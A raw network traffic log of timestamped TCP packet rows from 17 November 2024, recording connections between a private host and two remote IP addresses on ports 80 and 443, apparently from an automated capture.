Nov 17, 2024 22:20:22.512516975 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.512994051 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.513006926 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.513019085 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.513053894 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.513066053 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.513083935 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.513083935 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.513123989 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.513123989 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.513808966 CET	49677	443	192.168.2.7	20.50.201.200
Nov 17, 2024 22:20:22.551491976 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.551512003 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.551525116 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.551575899 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.551680088 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.551680088 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.551680088 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.551690102 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.551707029 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.551733017 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.551739931 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.551915884 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.551966906 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.551975012 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.551985979 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.552022934 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.552036047 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.629009008 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.629020929 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.629069090 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.629170895 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.629184008 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.629195929 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.629221916 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.629251003 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.629436970 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.629450083 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.629460096 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.629497051 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.629509926 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.629800081 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.629812002 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.629822969 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.629859924 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.629873037 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.668339014 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.668363094 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.668375015 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.668412924 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.668412924 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.668521881 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.668533087 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.668546915 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.668574095 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.668590069 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.668826103 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.668836117 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.668875933 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.668886900 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.668962955 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.669003010 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.669004917 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.669040918 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.745748043 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.745774031 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.745814085 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.745841026 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.745903015 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.745938063 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.745969057 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.746005058 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.746010065 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.746045113 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.746064901 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.746078014 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.746100903 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.746114016 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.746401072 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.746412992 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.746424913 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.746440887 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.746457100 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.784977913 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.784996986 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.785008907 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.785047054 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.785094023 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.785183907 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.785207033 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.785221100 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.785229921 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.785243034 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.785274029 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.785608053 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.785629988 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.785644054 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.785665035 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.785687923 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.785695076 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.785706997 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.785720110 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.785754919 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.862415075 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.862437010 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.862550974 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.862598896 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.862598896 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.862603903 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.862618923 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.862642050 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.862667084 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.862679958 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.862693071 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.862721920 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.862734079 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.863049030 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.863076925 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.863111019 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.863118887 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.863128901 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.863169909 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.871037960 CET	443	49720	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.871680975 CET	49720	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.871709108 CET	443	49720	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.872155905 CET	49720	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.872160912 CET	443	49720	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.873895884 CET	443	49721	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.874377966 CET	49721	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.874389887 CET	443	49721	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.874764919 CET	49721	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.874771118 CET	443	49721	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.877156973 CET	443	49722	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.879004002 CET	49722	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.879018068 CET	443	49722	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.879376888 CET	49722	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.879380941 CET	443	49722	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.883197069 CET	443	49723	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.883474112 CET	49723	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.883492947 CET	443	49723	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.883816957 CET	49723	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.883825064 CET	443	49723	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.901758909 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.901824951 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.901835918 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.901849031 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.901869059 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.901884079 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.901884079 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.901890039 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.901902914 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.901936054 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.902273893 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.902295113 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.902304888 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.902331114 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.902359962 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.902390003 CET	443	49724	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.902534008 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.902578115 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.902586937 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.902590036 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.902618885 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.902836084 CET	49724	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.902857065 CET	443	49724	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.903255939 CET	49724	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.903259993 CET	443	49724	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.979195118 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.979212999 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.979229927 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.979398966 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.979398966 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.979438066 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.979475975 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.979486942 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.979489088 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.979521036 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.979697943 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.979715109 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.979747057 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.979765892 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.979830980 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.979841948 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.979887962 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.001952887 CET	443	49720	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.002769947 CET	443	49720	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.002835035 CET	49720	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.002878904 CET	49720	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.002902985 CET	443	49720	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.002917051 CET	49720	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.002923012 CET	443	49720	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.005532980 CET	49725	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.005577087 CET	443	49725	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.005692959 CET	49725	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.005841970 CET	49725	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.005855083 CET	443	49725	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.006017923 CET	443	49722	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.006093025 CET	443	49722	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.006140947 CET	49722	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.006244898 CET	49722	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.006251097 CET	443	49722	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.006262064 CET	49722	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.006266117 CET	443	49722	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.006724119 CET	443	49721	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.006918907 CET	443	49721	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.006970882 CET	49721	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.007004023 CET	49721	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.007030010 CET	443	49721	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.007042885 CET	49721	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.007050037 CET	443	49721	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.008310080 CET	49726	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.008338928 CET	443	49726	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.008428097 CET	49726	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.008580923 CET	49726	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.008594990 CET	443	49726	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.009417057 CET	49727	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.009440899 CET	443	49727	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.009507895 CET	49727	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.010535955 CET	49727	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.010546923 CET	443	49727	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.013971090 CET	443	49723	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.014105082 CET	443	49723	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.014151096 CET	49723	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.014184952 CET	49723	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.014194965 CET	443	49723	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.014205933 CET	49723	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.014211893 CET	443	49723	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.015997887 CET	49728	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.016010046 CET	443	49728	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.016180038 CET	49728	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.016180038 CET	49728	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.016201973 CET	443	49728	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.018433094 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.018449068 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.018461943 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.018495083 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.018527985 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.018533945 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.018548012 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.018558025 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.018578053 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.018594980 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.018904924 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.018924952 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.018944979 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.018959999 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.018985987 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.019278049 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.019289017 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.019301891 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.019318104 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.019329071 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.019344091 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.019368887 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.033247948 CET	443	49724	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.033356905 CET	443	49724	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.033421040 CET	49724	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.033499956 CET	49724	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.033499956 CET	49724	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.033513069 CET	443	49724	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.033519983 CET	443	49724	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.035690069 CET	49729	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.035708904 CET	443	49729	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.035806894 CET	49729	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.035919905 CET	49729	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.035932064 CET	443	49729	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.096034050 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.096059084 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.096076012 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.096100092 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.096129894 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.096164942 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.096177101 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.096188068 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.096204042 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.096376896 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.096400023 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.096463919 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.096473932 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.096486092 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.096507072 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.135066032 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.135080099 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.135092020 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.135185957 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.135251045 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.135260105 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.135262966 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.135299921 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.135597944 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.135610104 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.135627985 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.135638952 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.135651112 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.135653973 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.135663033 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.135690928 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.176577091 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.176600933 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.176611900 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.176745892 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.176745892 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.212613106 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.212625980 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.212636948 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.212685108 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.212723017 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.212802887 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.212837934 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.212843895 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.212851048 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.212878942 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.212892056 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.213120937 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.213134050 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.213145018 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.213279009 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.251914978 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.251934052 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.251946926 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.251960039 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.251974106 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.252110004 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.252110004 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.252187967 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.252202034 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.252214909 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.252234936 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.252262115 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.252517939 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.252530098 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.252548933 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.252573013 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.252584934 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.292629957 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.292642117 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.292682886 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.292687893 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.292692900 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.292929888 CET	49704	80	192.168.2.7	185.215.113.206
